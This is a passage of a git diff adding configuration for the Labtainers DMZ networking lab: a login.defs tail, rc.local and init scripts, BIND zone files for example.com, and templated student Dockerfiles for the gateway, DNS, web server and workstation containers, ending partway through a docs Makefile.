+# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/rc.local new file mode 100755 index 000000000..613390113 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/rc.local @@ -0,0 +1,6 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 198.18.1.2 +route del -host 172.17.0.1 + +echo "198.18.1.2" > /etc/resolv.conf +echo "198.18.1.2" > /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/sbin/faux_init new file mode 100755 index 000000000..52d7205dc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/mynotify.sh start +/etc/init.d/bind9 start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/var/cache/bind/198.18.1.0 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/var/cache/bind/198.18.1.0 new file mode 100755 index 000000000..bab760a4b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/var/cache/bind/198.18.1.0 @@ -0,0 +1,14 @@ +$TTL 3D +@ IN SOA ns.example.com. admin.example.com. ( + 2008111001 + 8H + 2H + 4W + 1D) +@ IN NS ns.example.com. + +101 IN PTR www.example.com. +102 IN PTR mail.example.com. +10 IN PTR ns.example.com. + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/var/cache/bind/example.com.db b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/var/cache/bind/example.com.db new file mode 100755 index 000000000..4b8e302cb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dns/_system/var/cache/bind/example.com.db @@ -0,0 +1,16 @@ +$TTL 3D +@ IN SOA ns.example.com. admin.example.com. ( + 2008111001 + 8H + 2H + 4W + 1D) + +@ IN NS ns.example.com. +@ IN MX 10 mail.example.com. + +www IN A 198.18.1.WEB_IP +mail IN A 198.18.1.9 +ns IN A 198.18.1.3 +*.example.com. IN A 198.18.1.100 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.dns.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.dns.student new file mode 100644 index 000000000..57ec589e2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.dns.student @@ -0,0 +1,65 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM mfthomps/labtainer.network +#FROM mfthomps/labtainer.centos +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends bind9 dnsutils +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.inner_gw.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.inner_gw.student new file mode 100644 index 000000000..00b8515c0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.inner_gw.student @@ -0,0 +1,64 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.isp.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.isp.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.isp.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.outer_gw.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.outer_gw.student new file mode 100644 index 000000000..a1df8c1e2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.outer_gw.student @@ -0,0 +1,63 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends ulogd +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.remote_gw.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.remote_gw.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.remote_gw.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.remote_ws.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.remote_ws.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.remote_ws.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.web_server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.web_server.student new file mode 100644 index 000000000..b2535aee8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.web_server.student @@ -0,0 +1,64 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.lamp.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +#RUN adduser $user_name sudo +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable rc-local +CMD ["/usr/sbin/init"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.ws1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.ws1.student new file mode 100644 index 000000000..ce46bcd5f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.ws1.student @@ -0,0 +1,64 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends isc-dhcp-client +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.ws2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.ws2.student new file mode 100644 index 000000000..032f6cc56 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.ws2.student @@ -0,0 +1,63 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends isc-dhcp-client +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.ws3.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.ws3.student new file mode 100644 index 000000000..032f6cc56 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/dockerfiles/Dockerfile.dmz-lab.ws3.student @@ -0,0 +1,63 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends isc-dhcp-client +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/Makefile new file mode 100644 index 000000000..6320e266f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/Makefile @@ -0,0 +1,8 @@ +dmz-example.pdf: dmz-lab.tex header.tex + latex dmz-lab + pdflatex -jobname=dmz-lab dmz-lab + pdflatex -jobname=dmz-lab dmz-lab + +clean: + rm -fr auto + rm -f 